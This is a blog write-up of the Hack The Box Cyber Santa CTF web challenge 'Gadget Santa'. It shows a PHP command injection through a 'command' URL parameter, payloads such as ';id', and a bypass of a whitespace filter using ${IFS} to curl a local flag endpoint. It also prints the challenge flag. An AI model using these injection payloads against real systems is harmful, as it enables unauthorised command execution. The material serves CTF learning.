Wednesday, December 8, 2021

Hack The Box Cyber Santa CTF - Web Day 3 - Gadget Santa Writeup

Challenges Files - Local Docker Webserver:  web_gadget_santa.zip

Exploit Techniques Used:  Linux Command Injection, PHP Whitespace Filter Bypass

Details:

Upon connecting to the website, we're greeted with a dashboard that shows the output of very specific Linux commands, with this curious URL parameter "command=":

http://127.0.0.1:1337/?command=list_processes


At this point, a lot of questions popped into my head:

  • Did they call it "command" on purpose to hint us it's a Command Injection attack?
  • Did they call it "command" as a red herring to TRICK US into thinking it's Command Injection?!
  • Is this actually running the Linux command live and showing us the output?
  • Or is this just a trick, and it's only showing us pre-populated output?
I might as well try it out instead of daydreaming.  I inputted this and the Command Injection worked!

http://127.0.0.1:1337/?command=list_processes;id 

However, when I tried something like, "id www", it didn't work because it didn't like the space I put in there.  After I banged my head against it for far too long, I realized, I needed to pause, slow down, and actually understand the local included Docker files.

I found this PHP filter that replaces whitespaces in the input from the "command" parameter:

cat web_gadget_santa/challenge/models/MonitorModel.php 
 
$command = preg_replace('/\s+/', '', $command);

In that same file, I also saw the way it executes the commands by feeding the "command" parameter as an argument into a Bash script called "santa_mon.sh":

    public function getOutput()
    {
        return shell_exec('/santa_mon.sh '.$this->command);
    }

I found this batch script in the config folder that's outside the challenge webserver directory, it shows that it actually executes live Linux commands based on the arguments given to it.  This function is interesting because it does a curl to itself with a "/restart" path:

cat Day3/web_gadget_santa/config/santa_mon.sh
restart_ups() {
    curl localhost:3000/restart;
}

After enumerating that config directory more, I found the placeholder fake flag in a file called "ups_manager.py", and here we also found that "/restart" path the Bash script "santa_mon.sh" referenced:

cat Day3/web_gadget_santa/config/ups_manager.py
                        elif self.path == '/restart':
                                restart_service()
                                resp_ok()
                                self.wfile.write(get_json({'status': 'service restarted successfully'}))
                                return
                        elif self.path == '/get_flag':
                                resp_ok()
                                self.wfile.write(get_json({'status': 'HTB{f4k3_fl4g_f0r_t3st1ng}'}))
                                return

Following the curl example we saw from the "santa_mon.sh" script, if we can inject a curl command to the "/get_flag" path at localhost, we get the flag!  However, we need to bypass the whitespace filter.  After some searching, the most command Command Injection way to bypass a whitespace filter is using IFS.  This is an "Internal field separator" where it's default value is a single whitespace.

So I gave it a shot and BAM!  THE FLAG!

http://127.0.0.1:1337/?command=list_processes;curl${IFS}127.0.0.1:3000/get_flag


HTB{54nt4_i5_th3_r34l_r3d_t34m3r}

No comments:

Post a Comment